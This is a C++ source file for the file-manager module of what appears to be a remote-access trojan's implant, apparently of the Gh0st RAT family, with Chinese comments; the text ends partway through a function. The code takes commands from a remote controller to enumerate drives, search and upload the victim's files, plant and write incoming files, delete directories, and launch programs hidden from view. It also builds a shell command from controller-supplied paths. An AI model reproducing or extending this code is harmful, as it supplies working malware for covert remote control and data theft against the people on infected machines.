// FileManager.cpp: implementation of the CFileManager class.
//
//////////////////////////////////////////////////////////////////////
#include "FileManager.h"

//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////

CFileManager::CFileManager(CClientSocket *pClient):CManager(pClient)
{
	m_nTransferMode = TRANSFER_MODE_NORMAL;
	// 发送驱动器列表, 开始进行文件管理,建立新线程
	SendDriveList();
	m_hWorkThread = NULL;
}

CFileManager::~CFileManager()
{
	m_UploadList.clear();
	StopSearchTheard();
}

void CFileManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
	switch (lpBuffer[0])
	{
	case COMMAND_LIST_FILES:// 获取文件列表
		SendFilesList((char *)lpBuffer + 1);
		break;
	case COMMAND_DELETE_FILE:// 删除文件
		DeleteFile((char *)lpBuffer + 1);
		SendToken(TOKEN_DELETE_FINISH);
		break;
	case COMMAND_DELETE_DIRECTORY:// 删除文件
		//printf("删除目录 %s\n", (char *)(bPacket + 1));
		DeleteDirectory((char *)lpBuffer + 1);
		SendToken(TOKEN_DELETE_FINISH);
		break;
	case COMMAND_MOVE_DIRECTORY:
		MoveDirectory(lpBuffer + 1,nSize -1);
		SendToken(TOKEN_MOVE_FINISH);
		break;
	case COMMAND_MOVE_FILE:
		MyMoveFile(lpBuffer + 1,nSize -1);
		SendToken(TOKEN_MOVE_FINISH);
		break;
	case COMMAND_DOWN_FILES: // 上传文件
		UploadToRemote(lpBuffer + 1);
		break;
	case COMMAND_CONTINUE: // 上传文件
		SendFileData(lpBuffer + 1);
		break;
	case COMMAND_CREATE_FOLDER:
		CreateFolder(lpBuffer + 1);
		break;
	case COMMAND_RENAME_FILE:
		Rename(lpBuffer + 1);
		break;
	case COMMAND_STOP:
		StopTransfer();
		break;
	case COMMAND_SET_TRANSFER_MODE:
		SetTransferMode(lpBuffer + 1);
		break;
	case COMMAND_FILE_SIZE:
		CreateLocalRecvFile(lpBuffer + 1);
		break;
	case COMMAND_FILE_DATA:
		WriteLocalRecvFile(lpBuffer + 1, nSize -1);
		break;
	case COMMAND_OPEN_FILE_SHOW:
		OpenFile((char *)lpBuffer + 1, SW_SHOW);
		break;
	case COMMAND_OPEN_FILE_HIDE:
		OpenFile((char *)lpBuffer + 1, SW_HIDE);
		break;
	case COMMAND_FILES_SEARCH_START:
		SendSearchFilesList((char *)lpBuffer + 1);
		break;
	case COMMAND_FILES_SEARCH_STOP:
		StopSearchTheard();
		SendToken(TOKEN_SEARCH_FILE_FINISH);
		break;
	default:
		break;
	}
}

void CFileManager::FindFileInDir(char* rootDir,char* searchfilename,BOOL bEnabledSubfolder)
{
	WIN32_FIND_DATA fd;   

	char filePathName[256];  
	char tmpPath[256];
	
	ZeroMemory(&fd, sizeof(WIN32_FIND_DATA));  
	ZeroMemory(filePathName, 256);  
	ZeroMemory(tmpPath, 256);  

	strcpy(filePathName, rootDir);  
	
	
	if( filePathName[strlen(filePathName) -1] != '\\' )  
	{  
		strcat(filePathName, "\\");  
	}  
	strcat(filePathName, "*.*");  

	HANDLE hSearch = FindFirstFile(filePathName, &fd);  
	
	do 
	{
		DWORD	dwOffset = 1; // 位移指针
		
		strcpy(tmpPath, rootDir);  
		if( tmpPath[strlen(tmpPath) -1] != '\\' )  
			strcat(tmpPath, "\\");  
		
		strcat(tmpPath, fd.cFileName);  
		
		if( (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)  
			&& strcmp(fd.cFileName, ".") && strcmp(fd.cFileName, "..") )   
		{  
			if (bEnabledSubfolder)
				FindFileInDir(tmpPath,searchfilename,bEnabledSubfolder);  
		}  
		else if( strcmp(fd.cFileName, ".") && strcmp(fd.cFileName, "..") )  
		{
			if (strstr(strupr(fd.cFileName),strupr(searchfilename)) > 0)
			{
				LPBYTE	lpBuffer = NULL;

				lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1024);
			
				// 文件属性 1 字节
				*(lpBuffer + dwOffset) = fd.dwFileAttributes &	FILE_ATTRIBUTE_DIRECTORY;
				dwOffset++;
				
				int nLen  = strlen(tmpPath);
				memcpy(lpBuffer + dwOffset, tmpPath, nLen);
				
				dwOffset += nLen;
				*(lpBuffer + dwOffset) = 0;
				dwOffset++;
				
				memcpy(lpBuffer + dwOffset, &fd.nFileSizeHigh,  sizeof(DWORD));
				memcpy(lpBuffer + dwOffset + 4, &fd.nFileSizeLow,  sizeof(DWORD));
				dwOffset += 8;
				
				// 最后访问时间 8 字节
				memcpy(lpBuffer + dwOffset, &fd.ftLastWriteTime, sizeof(FILETIME));
				dwOffset += 8;
				
				if (dwOffset >1)
				{
					lpBuffer[0] = TOKEN_SEARCH_FILE_LIST;
					
					lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT|LMEM_MOVEABLE);
					
					Send(lpBuffer,  LocalSize(lpBuffer));
					
					Sleep(10);
					LocalFree(lpBuffer);
				}
			}
		} 
	} while(FindNextFile(hSearch, &fd) && !bIsStopSearch);
	
	FindClose(hSearch);
}


void WINAPI CFileManager::FindFileThread(LPVOID lparam)
{
	CFileManager *pThis = (CFileManager *)lparam;
	pThis->FindFileInDir(pThis->filesearch.SearchPath,pThis->filesearch.SearchFileName,pThis->filesearch.bEnabledSubfolder);
	pThis->SendToken(TOKEN_SEARCH_FILE_FINISH);
}

void CFileManager::StopSearchTheard()
{
	if (bIsStopSearch)
		return;
	bIsStopSearch = TRUE;
	WaitForSingleObject(m_hWorkThread, INFINITE);
	CloseHandle(m_hWorkThread);
}

void CFileManager::SendSearchFilesList(LPCTSTR str)
{
	bIsStopSearch  = FALSE; 
	memcpy(&filesearch, str , sizeof(FILESEARCH));

	m_hWorkThread = MyCreateThread(NULL, 
		0, 
		(LPTHREAD_START_ROUTINE)FindFileThread, 
		(LPVOID)this, 
		0, 
		NULL
		);
}

bool CFileManager::MakeSureDirectoryPathExists(LPCTSTR pszDirPath)
{
    LPTSTR p, pszDirCopy;
    DWORD dwAttributes;

    // Make a copy of the string for editing.

    __try
    {

        pszDirCopy = (LPTSTR)malloc(sizeof(TCHAR) * (lstrlen(pszDirPath) + 1));

        if(pszDirCopy == NULL)
            return FALSE;

        lstrcpy(pszDirCopy, pszDirPath);

        p = pszDirCopy;

        //  If the second character in the path is "\", then this is a UNC
        //  path, and we should skip forward until we reach the 2nd \ in the path.

        if((*p == TEXT('\\')) && (*(p+1) == TEXT('\\')))
        {
            p++;            // Skip over the first \ in the name.
            p++;            // Skip over the second \ in the name.

            //  Skip until we hit the first "\" (\\Server\).

            while(*p && *p != TEXT('\\'))
            {
                p = CharNext(p);
            }

            // Advance over it.

            if(*p)
            {
                p++;
            }

            //  Skip until we hit the second "\" (\\Server\Share\).

            while(*p && *p != TEXT('\\'))
            {
                p = CharNext(p);
            }

            // Advance over it also.

            if(*p)
            {
                p++;
            }

        }
        else if(*(p+1) == TEXT(':')) // Not a UNC.  See if it's <drive>:
        {
            p++;
            p++;

            // If it exists, skip over the root specifier

            if(*p && (*p == TEXT('\\')))
            {
                p++;
            }
        }

		while(*p)
        {
            if(*p == TEXT('\\'))
            {
                *p = TEXT('\0');
                dwAttributes = GetFileAttributes(pszDirCopy);

                // Nothing exists with this name.  Try to make the directory name and error if unable to.
                if(dwAttributes == 0xffffffff)
                {
                    if(!CreateDirectory(pszDirCopy, NULL))
                    {
                        if(GetLastError() != ERROR_ALREADY_EXISTS)
                        {
                            free(pszDirCopy);
                            return FALSE;
                        }
                    }
                }
                else
                {
                    if((dwAttributes & FILE_ATTRIBUTE_DIRECTORY) != FILE_ATTRIBUTE_DIRECTORY)
                    {
                        // Something exists with this name, but it's not a directory... Error
                        free(pszDirCopy);
                        return FALSE;
                    }
                }
 
                *p = TEXT('\\');
            }

            p = CharNext(p);
        }
    }
    __except(EXCEPTION_EXECUTE_HANDLER)
    {
        // SetLastError(GetExceptionCode());
        free(pszDirCopy);
        return FALSE;
    }

    free(pszDirCopy);
    return TRUE;
}

bool CFileManager::OpenFile(LPCTSTR lpFile, INT nShowCmd)
{

	TCHAR	lpSubKey[500];
	//	HKEY	hKey;
	TCHAR	strTemp[MAX_PATH];
	//	LONG	nSize = sizeof(strTemp);
	TCHAR	*lpstrCat = NULL;
	memset(strTemp, 0, sizeof(strTemp));
	
	TCHAR	*lpExt = (TCHAR	*)strrchr(lpFile, '.');
	if (!lpExt)
		return false;

	TCHAR strResult[MAX_PATH] = {0}; //保存结果
	if (strrchr(lpExt, ' '))
	{
		int nStrLen = strlen(lpExt) - 1 ; //原始字符串长度

		for(int i = nStrLen ; i > 0; i--)
		{
			if(lpExt[i] == ' ')
			{
				strncpy(strResult,lpExt, i );
				break;
			}
		}
	}
	else
		strcpy(strResult,lpExt);
	
// 	if (RegOpenKeyEx(HKEY_CLASSES_ROOT, strResult, 0L, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
// 		return false;
// 	RegQueryValue(hKey, NULL, strTemp, &nSize);
// 	RegCloseKey(hKey);
		  

	if(!ReadRegEx(HKEY_CLASSES_ROOT,strResult,0L,REG_SZ,strTemp,NULL,sizeof(strTemp),0))
		return false;
	
	memset(lpSubKey, 0, sizeof(lpSubKey));
	wsprintf(lpSubKey, "%s\\shell\\open\\command", strTemp);

// 	if (RegOpenKeyEx(HKEY_CLASSES_ROOT, lpSubKey, 0L, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
// 		return false;
	memset(strTemp, 0, sizeof(strTemp));
	char str[MAX_PATH] = {0};
	if(!ReadRegEx(HKEY_CLASSES_ROOT,lpSubKey,0L,REG_EXPAND_SZ,str,NULL,sizeof(str),0))
		return false;
// 	nSize = sizeof(strTemp);
// 	RegQueryValue(hKey, NULL, strTemp, &nSize);
// 	RegCloseKey(hKey);

	ExpandEnvironmentStrings(str,strTemp,MAX_PATH);
			
	lpstrCat = strstr(strTemp, "\"%1");
	if (lpstrCat == NULL)
		lpstrCat = strstr(strTemp, "%1");
	if (lpstrCat == NULL)
	{
		lstrcat(strTemp, " ");
		lstrcat(strTemp, lpFile);
	}
	else
		lstrcpy(lpstrCat, lpFile);
				
	STARTUPINFO si = {0};
	PROCESS_INFORMATION pi;
	si.cb = sizeof si;
	if (nShowCmd != SW_HIDE)
	{
		si.lpDesktop = "WinSta0\\Default"; 
	}else
	{
		si.dwFlags = STARTF_USESHOWWINDOW;
		si.wShowWindow = SW_HIDE;
	}
	
	CreateProcess(NULL, strTemp, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
	return true;
}

//  发送 被控端的 驱动器列表
UINT CFileManager::SendDriveList()
{
	char	DriveString[256];
	// 前一个字节为令牌,后面的52字节为驱动器跟相关属性
	BYTE	DriveList[1024];
//	char	FileSystem[MAX_PATH];
	char	*pDrive = NULL;
	DriveList[0] = TOKEN_DRIVE_LIST; // 驱动器列表
	GetLogicalDriveStrings(sizeof(DriveString), DriveString);
	pDrive = DriveString;
	
	unsigned __int64	HDAmount = 0;
	unsigned __int64	HDFreeSpace = 0;
	unsigned long		AmntMB = 0; // 总大小
	unsigned long		FreeMB = 0; // 剩余空间
	DWORD	dwOffset = 0; // 位移指针

	typedef BOOL (WINAPI *SHGET )(LPCSTR pszPath,DWORD dwFileAttributes,SHFILEINFOA *psfi,UINT ,UINT); 
	HINSTANCE shell32 = LoadLibrary("shell32.dll");
	SHGET   mySHGetFileInfo= (SHGET  )GetProcAddress(shell32,"SHGetFileInfoA"); 

	for (dwOffset = 1; *pDrive != '\0'; pDrive += lstrlen(pDrive) + 1)
	{
// 		memset(FileSystem, 0, sizeof(FileSystem));
// 		// 得到文件系统信息及大小
// 		GetVolumeInformation(pDrive, NULL, 0, NULL, NULL, NULL, FileSystem, MAX_PATH);
		SHFILEINFO	sfi;
		mySHGetFileInfo(pDrive, FILE_ATTRIBUTE_NORMAL, &sfi, sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES);
		
		int	nTypeNameLen = lstrlen(sfi.szTypeName) + 1;
//		int	nFileSystemLen = lstrlen(FileSystem) + 1;
		

		// 计算磁盘大小
		if (pDrive[0] != 'A' && pDrive[0] != 'B' && GetDiskFreeSpaceEx(pDrive, (PULARGE_INTEGER)&HDFreeSpace, (PULARGE_INTEGER)&HDAmount, NULL))
		{	
			AmntMB = HDAmount / 1024 / 1024;
			FreeMB = HDFreeSpace / 1024 / 1024;
		}
		else
		{
			AmntMB = 0;
			FreeMB = 0;
		}
		// 开始赋值
		DriveList[dwOffset] = pDrive[0];
		DriveList[dwOffset + 1] = GetDriveType(pDrive);
		
		
		// 磁盘空间描述占去了8字节
		memcpy(DriveList + dwOffset + 2, &AmntMB, sizeof(unsigned long));
		memcpy(DriveList + dwOffset + 6, &FreeMB, sizeof(unsigned long));
		
		// 磁盘卷标名及磁盘类型
		memcpy(DriveList + dwOffset + 10, sfi.szTypeName, nTypeNameLen);
//		memcpy(DriveList + dwOffset + 10 + nTypeNameLen, FileSystem, nFileSystemLen);
		
		dwOffset += 10 + nTypeNameLen;// + nFileSystemLen;
	}

	if(shell32)
		FreeLibrary(shell32);

	return Send((LPBYTE)DriveList, dwOffset);
}

// 发送 远程 文件列表
UINT CFileManager::SendFilesList(LPCTSTR lpszDirectory)
{
	// 重置传输方式
	m_nTransferMode = TRANSFER_MODE_NORMAL;	

	UINT	nRet = 0;
	char	strPath[MAX_PATH];
	char	*pszFileName = NULL;
	LPBYTE	lpList = NULL;
	HANDLE	hFile;
	DWORD	dwOffset = 0; // 位移指针
	int		nLen = 0;
	DWORD	nBufferSize =  1024 * 10; // 先分配10K的缓冲区
	WIN32_FIND_DATA	FindFileData;
	
	lpList = (BYTE *)LocalAlloc(LPTR, nBufferSize);
	
	wsprintf(strPath, "%s\\*.*", lpszDirectory);
	hFile = FindFirstFile(strPath, &FindFileData);

	if (hFile == INVALID_HANDLE_VALUE)
	{
		BYTE bToken = TOKEN_FILE_LIST;
		return Send(&bToken, 1);
	}
	
	*lpList = TOKEN_FILE_LIST;
	
	// 1 为数据包头部所占字节,最后赋值
	dwOffset = 1;
	/*
	文件属性	1
	文件名		strlen(filename) + 1 ('\0')
	文件大小	4
	*/
	do 
	{
		// 动态扩展缓冲区
		if (dwOffset > (nBufferSize - MAX_PATH * 2))
		{
			nBufferSize += MAX_PATH * 2;
			lpList = (BYTE *)LocalReAlloc(lpList, nBufferSize, LMEM_ZEROINIT|LMEM_MOVEABLE);
		}
		pszFileName = FindFileData.cFileName;
		if (strcmp(pszFileName, ".") == 0 || strcmp(pszFileName, "..") == 0)
			continue;
		// 文件属性 1 字节
		*(lpList + dwOffset) = FindFileData.dwFileAttributes &	FILE_ATTRIBUTE_DIRECTORY;
		dwOffset++;
		// 文件名 lstrlen(pszFileName) + 1 字节
		nLen = lstrlen(pszFileName);
		memcpy(lpList + dwOffset, pszFileName, nLen);
		dwOffset += nLen;
		*(lpList + dwOffset) = 0;
		dwOffset++;
		
		// 文件大小 8 字节
		memcpy(lpList + dwOffset, &FindFileData.nFileSizeHigh, sizeof(DWORD));
		memcpy(lpList + dwOffset + 4, &FindFileData.nFileSizeLow, sizeof(DWORD));
		dwOffset += 8;
		// 最后访问时间 8 字节
		memcpy(lpList + dwOffset, &FindFileData.ftLastWriteTime, sizeof(FILETIME));
		dwOffset += 8;


	} while(FindNextFile(hFile, &FindFileData));

	nRet = Send(lpList, dwOffset);

	LocalFree(lpList);
	FindClose(hFile);
	return nRet;
}

bool CFileManager::DeleteDirectory(LPCTSTR lpszDirectory)
{
	WIN32_FIND_DATA	wfd;
	char	lpszFilter[MAX_PATH];
	
	wsprintf(lpszFilter, "%s\\*.*", lpszDirectory);
	
	HANDLE hFind = FindFirstFile(lpszFilter, &wfd);
	if (hFind == INVALID_HANDLE_VALUE) // 如果没有找到或查找失败
		return FALSE;
	
	do
	{
		if (wfd.cFileName[0] != '.')
		{
			if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
			{
				char strDirectory[MAX_PATH];
				wsprintf(strDirectory, "%s\\%s", lpszDirectory, wfd.cFileName);
				DeleteDirectory(strDirectory);
			}
			else
			{
				char strFile[MAX_PATH];
				wsprintf(strFile, "%s\\%s", lpszDirectory, wfd.cFileName);
				if(!DeleteFile(strFile))
				{
					SetFileAttributes(strFile, FILE_ATTRIBUTE_NORMAL);
					DeleteFile(strFile);
				}
			}
		}
	} while (FindNextFile(hFind, &wfd));
	
	FindClose(hFind); // 关闭查找句柄
	
	if(!RemoveDirectory(lpszDirectory))
	{
		return FALSE;
	}
	return true;
}

//bool CFileManager::MyMoveDirectory(LPCTSTR lpExistingFileName,LPCTSTR lpNewFileName,DWORD dwOffset ,bool bIsCopy)
// {
// 	WIN32_FIND_DATA	wfd;
// 	char	lpszFilter[MAX_PATH];
// 	
// 	wsprintf(lpszFilter, "%s*.*", lpExistingFileName);
// 	
// 	HANDLE hFind = FindFirstFile(lpszFilter, &wfd);
// 	if (hFind == INVALID_HANDLE_VALUE) // 如果没有找到或查找失败
// 	{
// 		return FALSE;
// 	}
// 	do
// 	{
// 		if (wfd.cFileName[0] != '.')
// 		{
// 			if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
// 			{
// 				printf("是文件夹-----------------------------------\r\n");
// 				char strDirectory[MAX_PATH];
// 				wsprintf(strDirectory, "%s%s\\", lpExistingFileName, wfd.cFileName);
// 				
// 				char strNewDirectory[MAX_PATH];
// 				wsprintf(strNewDirectory, "%s%s", lpNewFileName, strDirectory + dwOffset);
// 				
// 				
// 				printf("递归 %s 移动到  %s\r\n",strDirectory,strNewDirectory);
// 				MakeSureDirectoryPathExists(strNewDirectory);
// 			}
// 			else
// 			{
// 				printf("是文件\r\n");
// 				char strFile[MAX_PATH];
// 				wsprintf(strFile, "%s%s", lpExistingFileName, wfd.cFileName);
// 				
// 				
// 				char strNewDirectory[MAX_PATH];
// 				wsprintf(strNewDirectory, "%s%s%s", lpNewFileName,lpExistingFileName + dwOffset, wfd.cFileName);
// 				
// 				MakeSureDirectoryPathExists(strNewDirectory);
// 				printf("从%s 移动到%s\r\n", strFile ,strNewDirectory );
// 				
// 				if (bIsCopy)
// 				{
// 					CopyFile(strFile,strNewDirectory,TRUE);
// 				}else
// 				{
// 					MoveFile(strFile,strNewDirectory);
// 				}
// 			}
// 		}
// 	} while (FindNextFile(hFind, &wfd));
// 	
// 	FindClose(hFind); // 关闭查找句柄
// 
// 	if (!bIsCopy)
// 		DeleteDirectory(lpExistingFileName);
// 		
// 	return TRUE;
// }

bool CFileManager::MoveDirectory(LPBYTE lpBuffer, UINT nSize)
{
	FILEMOVE fileMove;
	memcpy(&fileMove,lpBuffer,nSize);
	
	char CommandLine[1024];
	wsprintf(CommandLine,"xcopy \"%s\" \"%s\" /e /i /y",fileMove.lpExistingFileName,fileMove.lpNewFileName);
	
	system(CommandLine);
	
	HINSTANCE Shlwapi = LoadLibrary("Shlwapi.dll"); 
	
	typedef BOOL (WINAPI *TPathFileExistsA)(LPCSTR);	
	TPathFileExistsA MyPathFileExistsA= (TPathFileExistsA)GetProcAddress(Shlwapi, "PathFileExistsA");
	
	if (!fileMove.bIsCopy && MyPathFileExistsA(fileMove.lpNewFileName))
	{
		DeleteDirectory(fileMove.lpExistingFileName);
	}
	
	if (Shlwapi)
		FreeLibrary(Shlwapi);
		
	return true;
}

bool CFileManager::MyMoveFile(LPBYTE lpBuffer, UINT nSize)
{
	FILEMOVE fileMove;
	memcpy(&fileMove,lpBuffer,nSize);
	if (fileMove.bIsCopy)
	{
		CopyFile(fileMove.lpExistingFileName,fileMove.lpNewFileName,TRUE);
	}
	else
	{
		MoveFile(fileMove.lpExistingFileName,fileMove.lpNewFileName);
	}
	
	return true;
}

UINT CFileManager::SendFileSize(LPCTSTR lpszFileName)
{
	UINT	nRet = 0;
	DWORD	dwSizeHigh;
	DWORD	dwSizeLow;
	// 1 字节token, 8字节大小, 文件名称, '\0'
	HANDLE	hFile;
	// 保存当前正在操作的文件名
	memset(m_strCurrentProcessFileName, 0, sizeof(m_strCurrentProcessFileName));
	strcpy(m_strCurrentProcessFileName, lpszFileName);

	hFile = CreateFile(lpszFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
	if (hFile == INVALID_HANDLE_VALUE)
	{
		printf("SendFileSize ERRO CODE : %d",lpszFileName,GetLastError());
		return FALSE;
	}
	dwSizeLow =	GetFileSize(hFile, &dwSizeHigh);
	CloseHandle(hFile);

	// 构造数据包,发送文件长度
	int		nPacketSize = lstrlen(lpszFileName) + 10;

	BYTE	*bPacket = (BYTE *)LocalAlloc(LPTR, nPacketSize);
	memset(bPacket, 0, nPacketSize);
	
	bPacket[0] = TOKEN_FILE_SIZE;
	FILESIZE *pFileSize = (FILESIZE *)(bPacket + 1);
	pFileSize->dwSizeHigh = dwSizeHigh;
	pFileSize->dwSizeLow = dwSizeLow;
	memcpy(bPacket + 9, lpszFileName, lstrlen(lpszFileName) + 1);

	nRet = Send(bPacket, nPacketSize);
	LocalFree(bPacket);

	return nRet;
}

UINT CFileManager::SendFileData(LPBYTE lpBuffer)
{
	int		nRet = 0;

	FILESIZE	*pFileSize;
	char		*lpFileName;

	pFileSize = (FILESIZE *)lpBuffer;
	lpFileName = m_strCurrentProcessFileName;

	// 远程跳过,传送下一个
	if (pFileSize->dwSizeLow == -1)
	{
		UploadNext();
		return 0;
	}
	HANDLE	hFile;
	hFile = CreateFile(lpFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
	if (hFile == INVALID_HANDLE_VALUE)
	{
		return -1;
	}
	//在一个文件中设置当前的读写位置 移动一个打开文件的指针
	SetFilePointer(hFile, pFileSize->dwSizeLow, (long *)&(pFileSize->dwSizeHigh), FILE_BEGIN);

	int		nHeadLength = 9; // 1 + 4 + 4 数据包头部大小
	DWORD	nNumberOfBytesToRead = 1024 * 8 - nHeadLength;
	DWORD	nNumberOfBytesRead = 0;

	LPBYTE	lpPacket = (LPBYTE)LocalAlloc(LPTR, 1024 * 8);

	// Token,  大小,偏移,文件名,数据
	lpPacket[0] = TOKEN_FILE_DATA;
	memcpy(lpPacket + 1, pFileSize, sizeof(FILESIZE));
	ReadFile(hFile, lpPacket + nHeadLength, nNumberOfBytesToRead, &nNumberOfBytesRead, NULL);
	CloseHandle(hFile);


	if (nNumberOfBytesRead > 0)
	{
		int	nPacketSize = nNumberOfBytesRead + nHeadLength;
		nRet = Send(lpPacket, nPacketSize);
	}
	else
	{
		UploadNext();
	}

	LocalFree(lpPacket);

	return nRet;
}

// 传送下一个文件
void CFileManager::UploadNext()
{
	list <string>::iterator it = m_UploadList.begin();
	// 删除一个任务
	m_UploadList.erase(it);
	// 还有上传任务
	if(m_UploadList.empty())
	{
		SendToken(TOKEN_TRANSFER_FINISH);
	}
	else
	{
		// 上传下一个
		it = m_UploadList.begin();
		if(!SendFileSize((*it).c_str()))
			UploadNext();
	}
}

int CFileManager::SendToken(BYTE bToken)
{
	return Send(&bToken, 1);
}

bool CFileManager::UploadToRemote(LPBYTE lpBuffer)
{
	// 判断是否是文件夹
	if (lpBuffer[lstrlen((char *)lpBuffer) - 1] == '\\')
	{
		FixedUploadList((char *)lpBuffer);
		if (m_UploadList.empty())
		{
			StopTransfer();
			return true;
		}
	}
	else
	{
		m_UploadList.push_back((char *)lpBuffer);
	}

	list <string>::iterator it = m_UploadList.begin();

	// 发送第一个文件
	SendFileSize((*it).c_str());

	return true;
}

bool CFileManager::FixedUploadList(LPCTSTR lpPathName)
{
	WIN32_FIND_DATA	wfd;
	char	lpszFilter[MAX_PATH];
	char	*lpszSlash = NULL;
	memset(lpszFilter, 0, sizeof(lpszFilter));

	if (lpPathName[lstrlen(lpPathName) - 1] != '\\')
		lpszSlash = "\\";
	else
		lpszSlash = "";

	wsprintf(lpszFilter, "%s%s*.*", lpPathName, lpszSlash);

	
	HANDLE hFind = FindFirstFile(lpszFilter, &wfd);
	if (hFind == INVALID_HANDLE_VALUE) // 如果没有找到或查找失败
	{
		return false;
	}
	do
	{
		if (wfd.cFileName[0] != '.')
		{
			if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
			{
				char strDirectory[MAX_PATH];
				wsprintf(strDirectory, "%s%s%s", lpPathName, lpszSlash, wfd.cFileName);
				FixedUploadList(strDirectory);
			}
			else
			{
				char strFile[MAX_PATH];
				wsprintf(strFile, "%s%s%s", lpPathName, lpszSlash, wfd.cFileName);
				m_UploadList.push_back(strFile);
			}
		}
	} while (FindNextFile(hFind, &wfd));
	
	FindClose(hFind); // 关闭查找句柄
	return true;
}

void CFileManager::StopTransfer()
{
	if (!m_UploadList.empty())
		m_UploadList.clear();
	SendToken(TOKEN_TRANSFER_FINISH);
}

void CFileManager::CreateLocalRecvFile(LPBYTE lpBuffer)
{
	FILESIZE	*pFileSize = (FILESIZE *)lpBuffer;
	// 保存当前正在操作的文件名
	memset(m_strCurrentProcessFileName, 0, sizeof(m_strCurrentProcessFileName));
	strcpy(m_strCurrentProcessFileName, (char *)lpBuffer + 8);

	// 正确的取文件大小的方法
	DWORDLONG dwHighBase = MAXDWORD;
	dwHighBase += 1;
	// 保存文件长度
	m_nCurrentProcessFileLength = (pFileSize->dwSizeHigh * dwHighBase) + pFileSize->dwSizeLow;
	
	// 创建多层目录
	MakeSureDirectoryPathExists(m_strCurrentProcessFileName);
	

	WIN32_FIND_DATA FindFileData;
	HANDLE hFind = FindFirstFile(m_strCurrentProcessFileName, &FindFileData);
	
	if (hFind != INVALID_HANDLE_VALUE
		&& m_nTransferMode != TRANSFER_MODE_OVERWRITE_ALL 
		&& m_nTransferMode != TRANSFER_MODE_ADDITION_ALL
		&& m_nTransferMode != TRANSFER_MODE_JUMP_ALL
		)
	{
		SendToken(TOKEN_GET_TRANSFER_MODE);
	}
	else
	{
		GetFileData();
	}
	FindClose(hFind);
}

void CFileManager::GetFileData()
{
	int	nTransferMode;
	switch (m_nTransferMode)
	{
	case TRANSFER_MODE_OVERWRITE_ALL:
		nTransferMode = TRANSFER_MODE_OVERWRITE;
		break;
	case TRANSFER_MODE_ADDITION_ALL:
		nTransferMode = TRANSFER_MODE_ADDITION;
		break;
	case TRANSFER_MODE_JUMP_ALL:
		nTransferMode = TRANSFER_MODE_JUMP;
		break;
	default:
		nTransferMode = m_nTransferMode;
	}
	
	WIN32_FIND_DATA FindFileData;
	HANDLE hFind = FindFirstFile(m_strCurrentProcessFileName, &FindFileData);
	
	//  1字节Token,四字节偏移高四位,四字节偏移低四位
	BYTE	bToken[9];
	DWORD	dwCreationDisposition; // 文件打开方式 
	memset(bToken, 0, sizeof(bToken));
	bToken[0] = TOKEN_DATA_CONTINUE;
	
	// 文件已经存在
	if (hFind != INVALID_HANDLE_VALUE)
	{
		// 提示点什么
		// 如果是续传
		if (nTransferMode == TRANSFER_MODE_ADDITION)
		{
			memcpy(bToken + 1, &FindFileData.nFileSizeHigh, 4);
			memcpy(bToken + 5, &FindFileData.nFileSizeLow, 4);
			dwCreationDisposition = OPEN_EXISTING;
		}
		// 覆盖
		else if (nTransferMode == TRANSFER_MODE_OVERWRITE)
		{
			// 偏移置0
			memset(bToken + 1, 0, 8);
			// 重新创建
			dwCreationDisposition = CREATE_ALWAYS;
			
		}
		// 传送下一个
		else if (nTransferMode == TRANSFER_MODE_JUMP)
		{
			DWORD dwOffset = -1;
			memcpy(bToken + 5, &dwOffset, 4);
			dwCreationDisposition = OPEN_EXISTING;
		}
	}
	else
	{
		// 偏移置0
		memset(bToken + 1, 0, 8);
		// 重新创建
		dwCreationDisposition = CREATE_ALWAYS;
	}
	FindClose(hFind);

	HANDLE	hFile = 
		CreateFile
		(
		m_strCurrentProcessFileName, 
		GENERIC_WRITE,
		FILE_SHARE_WRITE,
		NULL,
		dwCreationDisposition,
		FILE_ATTRIBUTE_NORMAL,
		0
		);
	// 需要错误处理
	if (hFile == INVALID_HANDLE_VALUE)
	{
		m_nCurrentProcessFileLength = 0;
		OutputDebugString("GetFileData ERRO\r\n");
		return;
	}
	CloseHandle(hFile);

	Send(bToken, sizeof(bToken));
}

void CFileManager::WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize)
{
	// 传输完毕
	BYTE	*pData;
	DWORD	dwBytesToWrite;
	DWORD	dwBytesWrite;
	int		nHeadLength = 9; // 1 + 4 + 4  数据包头部大小,为固定的9
	FILESIZE	*pFileSize;
	// 得到数据的偏移
	pData = lpBuffer + 8;
	
	pFileSize = (FILESIZE *)lpBuffer;

	// 得到数据在文件中的偏移

	LONG	dwOffsetHigh = pFileSize->dwSizeHigh;
	LONG	dwOffsetLow = pFileSize->dwSizeLow;

	dwBytesToWrite = nSize - 8;
	
	HANDLE	hFile = 
		CreateFile
		(
		m_strCurrentProcessFileName,
		GENERIC_WRITE,
		FILE_SHARE_WRITE,
		NULL,
		OPEN_EXISTING,
		FILE_ATTRIBUTE_NORMAL,
		0
		);
	
	SetFilePointer(hFile, dwOffsetLow, &dwOffsetHigh, FILE_BEGIN);

	int nRet = 0;
		// 写入文件
	nRet = WriteFile
		(
		hFile,
		pData, 
		dwBytesToWrite, 
		&dwBytesWrite,
		NULL
		);
 	if (nRet <= 0)
 		OutputDebugString("文件写入失败");
	CloseHandle(hFile);
	// 为了比较,计数器递增


	BYTE	bToken[9];
	bToken[0] = TOKEN_DATA_CONTINUE;
	dwOffsetLow += dwBytesWrite;
	memcpy(bToken + 1, &dwOffsetHigh, sizeof(dwOffsetHigh));
	memcpy(bToken + 5, &dwOffsetLow, sizeof(dwOffsetLow));

	Send(bToken, sizeof(bToken));
}

void CFileManager::SetTransferMode(LPBYTE lpBuffer)
{
